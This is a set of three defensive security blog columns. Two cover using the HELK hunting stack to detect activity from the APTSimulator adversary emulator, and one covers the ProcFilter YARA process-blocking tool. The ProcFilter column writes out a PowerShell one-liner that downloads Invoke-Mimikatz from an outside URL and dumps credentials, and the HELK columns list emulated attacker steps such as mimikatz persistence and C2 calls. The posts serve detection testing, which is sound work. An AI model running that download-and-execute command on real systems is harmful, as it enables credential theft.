toolsmith #132 - The HELK vs APTSimulator - Part 2

Continuing where we left off in The HELK vs APTSimulator - Part 1, I will focus our attention on additional, useful HELK features to aid you in your threat hunting practice. HELK offers Apache Spark, GraphFrames, and Jupyter Notebooks  as part of its lab offering. These capabilities scale well beyond a standard ELK stack, this really is where parallel computing and significantly improved processing and analytics truly take hold. This is a great way to introduce yourself to these technologies, all on a unified platform.

Let me break these down for you a little bit in case you haven't been exposed to these technologies yet. First and foremost, refer to @Cyb3rWard0g's wiki page on how he's designed it for his HELK implementation, as seen in Figure 1.

Figure 1: HELK Architecture

First, Apache Spark. For HELK, "Elasticsearch-hadoop provides native integration between Elasticsearch and Apache Spark, in the form of an RDD (Resilient Distributed Dataset) (or Pair RDD to be precise) that can read data from Elasticsearch." Per the Apache Spark FAQ, "Spark is a fast and general processing engine compatible with Hadoop data" to deliver "lighting-fast cluster computing."
Second, GraphFrames. From the GraphFrames overview, "GraphFrames is a package for Apache Spark which provides DataFrame-based Graphs. GraphFrames represent graphs: vertices (e.g., users) and edges (e.g., relationships between users). GraphFrames also provide powerful tools for running queries and standard graph algorithms. With GraphFrames, you can easily search for patterns within graphs, find important vertices, and more." 
Finally, Jupyter Notebooks to pull it all together.
From Jupyter.org: "The Jupyter Notebook is an open-source web application that allows you to create and share documents that contain live code, equations, visualizations and narrative text. Uses include: data cleaning and transformation, numerical simulation, statistical modeling, data visualization, machine learning, and much more." Jupyter Notebooks provide a higher order of analyst/analytics capabilities, if you haven't dipped your toe in that water, this may be your first, best opportunity.
Let's take a look at using Jupyter Notebooks with the data populated to my Docker-based HELK instance as implemented in Part 1. I repopulated my HELK instance with new data from a different, bare metal Windows instance reporting to HELK with Winlogbeat, Sysmon enabled, and looking mighty compromised thanks to @cyb3rops's APTSimulator.
To make use of Jupyter Notebooks, you need your JUPYTER CURRENT TOKEN to access the Jupyter Notebook web interface. It was presented to you when your HELK installation completed, but you can easily retrieve it via sudo docker logs helk-analytics, then copy and paste the URL into your browser to connect for the first time with a token. It will look like this,
http://localhost:8880/?token=3f46301da4cd20011391327647000e8006ee3574cab0b163, as described in the Installation wiki. After browsing to the URL with said token, you can begin at http://localhost:8880/lab, where you should immediately proceed to the Check_Spark_Graphframes_Integrations.ipynb notebook. It's found in the hierarchy menu under training > jupyter_notebooks > getting_started. This notebook is essential to confirming you're ingesting data properly with HELK and that its integrations are fully functioning. Step through it one cell at a time with the play button, allowing each task to complete so as to avoid errors. Remember the above mentioned Resilient Distributed Dataset? This notebook will create a Spark RDD on top of Elasticsearch using the logs-endpoint-winevent-sysmon-* (Sysmon logs) index as source, and do the same thing with the logs-endpoint-winevent-security-* (Window Security Event logs) index as source, as seen in Figure 2.

Figure 2: Windows Security EVT Spark RDD

The notebook will also query your Windows security events via Spark SQL, then print the schema with:
df = spark.read.format("org.elasticsearch.spark.sql").load("logs-endpoint-winevent-security-*/doc")
df.printSchema()
The result should resemble Figure 3.

Figure 3: Schema

Assuming all matches with relative consistency in your experiment, let's move on to the Sysmon_ProcessCreate_Graph.ipynb notebook, found in training > jupyter_notebooks. This notebook will again call on the Elasticsearch Sysmon index and create vertices and edges dataframes, then create a graph produced with GraphFrame built from those same vertices and edges. Here's a little walk-through.
The v parameter (yes, for vertices) is populated with:
v = df.withColumn("id", df.process_guid).select("id","user_name","host_name","process_parent_name","process_name","action")
v = v.filter(v.action == "processcreate")
Showing the top three rows of that result set, with v.show(3,truncate=False), appears as Figure 4 in the notebook, with the data from my APTSimulator "victim" system, N2KND-PC.

Figure 4: WTF, Florian :-)

The epic, uber threat hunter in me believes that APTSimulator created nslookup, 7z, and regedit as processes via cmd.exe. Genius, right? :-)
The e parameter (yes, for edges) is populated with:
e = df.filter(df.action == "processcreate").selectExpr("process_parent_guid as src","process_guid as dst").withColumn("relationship", lit("spawned"))
Showing the top three rows of that result set, with e.show(3,truncate=False), produces the source and destination process IDs as it pertains to the spawning relationship.
Now, to create a graph from the vertices and edges dataframes as defined in the v & e parameters with g = GraphFrame(v, e). Let's bring it home with a hunt for Process A spawning Process B AND Process B Spawning Process C, the code needed, and the result, are seen from the notebook in Figure 5.

Figure 5: APTSimulator's happy spawn

Oh, yes, APTSimulator fully realized in a nice graph. Great example seen in cmd.exe spawning wscript.exe, which then spawns rundll32.exe. Or cmd.exe spawning powershell.exe and schtasks.exe.
Need confirmation? Florian's CactusTorch JS dropper is detailed in Figure 6, specifically cmd.exe > wscript.exe > rundll32.exe.

Figure 6: APTSimulator source for CactusTorch

Still not convinced? How about APTSimulator's schtasks.bat, where APTSimulator kindly loads mimikatz with schtasks.exe for persistence, per Figure 7?

Figure 7: schtasks.bat

I certainly hope that the HELK's graph results matching nicely with APTSimulator source meets with your satisfaction.
The HELK vs APTSimulator ends with a glorious flourish, these two monsters in their field belong in every lab to practice red versus blue, attack and defend, compromise and detect. I haven't been this happy to be a practitioner in the defense against the dark arts in quite awhile. My sincere thanks to Roberto and Florian for their great work on the HELK and APTSimulator. I can't suggest strongly enough how much you'll benefit from taking the time to run through Part 1 and 2 of The HELK vs APTSimulator for yourself. Both tools are well documented on their respective Githubs, go now, get started, profit.
Cheers...until next time.

toolsmith #131 - The HELK vs APTSimulator - Part 1

Ladies and gentlemen, for our main attraction, I give you...The HELK vs APTSimulator, in a Death Battle! The late, great Randy "Macho Man" Savage said many things in his day, in his own special way, but "Expect the unexpected in the kingdom of madness!" could be our toolsmith theme this month and next. Man, am I having a flashback to my college days, many moons ago. :-) The HELK just brought it on. Yes, I know, HELK is the Hunting ELK stack, got it, but it reminded me of the Hulk, and then, I thought of a Hulkamania showdown with APTSimulator, and Randy Savage's classic, raspy voice popped in my head with "Hulkamania is like a single grain of sand in the Sahara desert that is Macho Madness." And that, dear reader, is a glimpse into exactly three seconds or less in the mind of your scribe, a strange place to be certain. But alas, that's how we came up with this fabulous showcase.
In this corner, from Roberto Rodriguez, @Cyb3rWard0g, the specter in SpecterOps, it's...The...HELK! This, my friends, is the s**t, worth every ounce of hype we can muster.
And in the other corner, from Florian Roth, @cyb3rops, the The Fracas of Frankfurt, we have APTSimulator. All your worst adversary apparitions in one APT mic drop. This...is...Death Battle!

Now with that out of our system, let's begin. There's a lot of goodness here, so I'm definitely going to do this in two parts so as not undervalue these two offerings.
HELK is incredibly easy to install. Its also well documented, with lots of related reading material, let me propose that you take the tine to to review it all. Pay particular attention to the wiki, gain comfort with the architecture, then review installation steps.
On an Ubuntu 16.04 LTS system I ran:

• git clone https://github.com/Cyb3rWard0g/HELK.git
• cd HELK/
• sudo ./helk_install.sh 

Of the three installation options I was presented with, pulling the latest HELK Docker Image from cyb3rward0g dockerhub, building the HELK image from a local Dockerfile, or installing the HELK from a local bash script, I chose the first and went with the latest Docker image. The installation script does a fantastic job of fulfilling dependencies for you, if you haven't installed Docker, the HELK install script does it for you. You can observe the entire install process in Figure 1.

Figure 1: HELK Installation

You can immediately confirm your clean installation by navigating to your HELK KIBANA URL, in my case http://192.168.248.29.
For my test Windows system I created a Windows 7 x86 virtual machine with Virtualbox. The key to success here is ensuring that you install Winlogbeat on the Windows systems from which you'd like to ship logs to HELK. More important, is ensuring that you run Winlogbeat with the right winlogbeat.yml file. You'll want to modify and copy this to your target systems. The critical modification is line 123, under Kafka output, where you need to add the IP address for your HELK server in three spots. My modification appeared as hosts: ["192.168.248.29:9092","192.168.248.29:9093","192.168.248.29:9094"]. As noted in the HELK architecture diagram, HELK consumes Winlogbeat event logs via Kafka.
On your Windows systems, with a properly modified winlogbeat.yml, you'll run:

• ./winlogbeat -c winlogbeat.yml -e
• ./winlogbeat setup -e

You'll definitely want to set up Sysmon on your target hosts as well. I prefer to do so with the @SwiftOnSecurity configuration file. If you're doing so with your initial setup, use sysmon.exe -accepteula -i sysmonconfig-export.xml. If you're modifying an existing configuration, use sysmon.exe -c sysmonconfig-export.xml.  This will ensure rich data returns from Sysmon, when using adversary emulation services from APTsimulator, as we will, or experiencing the real deal.
With all set up and working you should see results in your Kibana dashboard as seen in Figure 2.

Figure 2: Initial HELK Kibana Sysmon dashboard.

Now for the showdown. :-) Florian's APTSimulator does some comprehensive emulation to make your systems appear compromised under the following scenarios:

• POCs: Endpoint detection agents / compromise assessment tools
• Test your security monitoring's detection capabilities
• Test your SOCs response on a threat that isn't EICAR or a port scan
• Prepare an environment for digital forensics classes 

This is a truly admirable effort, one I advocate for most heartily as a blue team leader. With particular attention to testing your security monitoring's detection capabilities, if you don't do so regularly and comprehensively, you are, quite simply, incomplete in your practice. If you haven't tested and validated, don't consider it detection, it's just a rule with a prayer. APTSimulator can be observed conducting the likes of:

1. Creating typical attacker working directory C:\TMP...
2. Activating guest user account
1. Adding the guest user to the local administrators group
3. Placing a svchost.exe (which is actually srvany.exe) into C:\Users\Public
4. Modifying the hosts file
1. Adding update.microsoft.com mapping to private IP address
5. Using curl to access well-known C2 addresses
1. C2: msupdater.com
6. Dropping a Powershell netcat alternative into the APT dir
7. Executes nbtscan on the local network
8. Dropping a modified PsExec into the APT dir
9. Registering mimikatz in At job
10. Registering a malicious RUN key
11. Registering mimikatz in scheduled task
12. Registering cmd.exe as debugger for sethc.exe
13. Dropping web shell in new WWW directory

A couple of notes here.
Download and install APTSimulator from the Releases section of its GitHub pages.
APTSimulator includes curl.exe, 7z.exe, and 7z.dll in its helpers directory. Be sure that you drop the correct version of 7 Zip for your system architecture. I'm assuming the default bits are 64bit, I was testing on a 32bit VM.

Let's do a fast run-through with HELK's Kibana Discover option looking for the above mentioned APTSimulator activities. Starting with a search for TMP in the sysmon-* index yields immediate results and strikes #1, 6, 7, and 8 from our APTSimulator list above, see for yourself in Figure 3.

Figure 3: TMP, PS nc, nbtscan, and PsExec in one shot

Created TMP, dropped a PowerShell netcat, nbtscanned the local network, and dropped a modified PsExec, check, check, check, and check.
How about enabling the guest user account and adding it to the local administrator's group? Figure 4 confirms.

Figure 4: Guest enabled and escalated

Strike #2 from the list. Something tells me we'll immediately find svchost.exe in C:\Users\Public. Aye, Figure 5 makes it so.

Figure 5: I've got your svchost right here

Knock #3 off the to-do, including the process.commandline, process.name, and file.creationtime references. Up next, the At job and scheduled task creation. Indeed, see Figure 6.

Figure 6. tasks OR schtasks

I think you get the point, there weren't any misses here. There are, of course, visualization options. Don't forget about Kibana's Timelion feature. Forensicators and incident responders live and die by timelines, use it to your advantage (Figure 7).

Figure 7: Timelion

Finally, for this month, under HELK's Kibana Visualize menu, you'll note 34 visualizations. By default, these are pretty basic, but you quickly add value with sub-buckets. As an example, I selected the Sysmon_UserName visualization. Initially, it yielded a donut graph inclusive of malman (my pwned user), SYSTEM and LOCAL SERVICE. Not good enough to be particularly useful I added a sub-bucket to include process names associated with each user. The resulting graph is more detailed and tells us that of the 242 events in the last four hours associated with the malman user, 32 of those were specific to cmd.exe processes, or 18.6% (Figure 8).

Figure 8: Powerful visualization capabilities

This has been such a pleasure this month, I am thrilled with both HELK and APTSimulator. The true principles of blue team and detection quality are innate in these projects. The fact that Roberto consider HELK still in alpha state leads me to believe there is so much more to come. Be sure to dig deeply into APTSimulator's Advance Solutions as well, there's more than one way to emulate an adversary.
Next month Part 2 will explore the Network side of the equation via the Network Dashboard and related visualizations, as well as HELK integration with Spark, Graphframes & Jupyter notebooks.
Aw snap, more goodness to come, I can't wait.
Cheers...until next time.

Toolsmith In-depth Analysis: ProcFilter - YARA-integrated Windows process denial framework

Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It's been an amazing journey; I look to you, dear reader, for ideas on what tool you'd like to see me cover for the decade anniversary edition. Contact information at the end of this post.

Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it's GitHub readme, ProcFilter is "a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft's ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot."
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It's a lightweight, precise, targeted tool that does not include a large signature set. "ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions."
GoDaddy's Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
"For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we're saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”

Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software - if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.

Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes."

Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.

ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you'll see ProcFilter Service via the services.msc as follows.

ProcFilter Service

You'll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity.  You'll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.

ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.

ProcFilter Service

Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it's quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he's written very effective rules to detect his own craftsmanship. 

mimikatz power_pe_injection Yara rule

I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:

Command-line options

Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation's PowerSploit Github and runs it in memory.

Invoke-mimikatz

The attack didn't get very far at all on Windows 10, by design, but that doesn't mean we don't want to detect such attempted abuses in our environment, even if unsuccessful.

Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. :-)

Suspect process

Running procfilter -memoryscan 10612 came through like a champ.

Command-line ProcFilter detection

The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.

ProcFilter event log view

In closing

Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next time, for the big decade anniversary edition.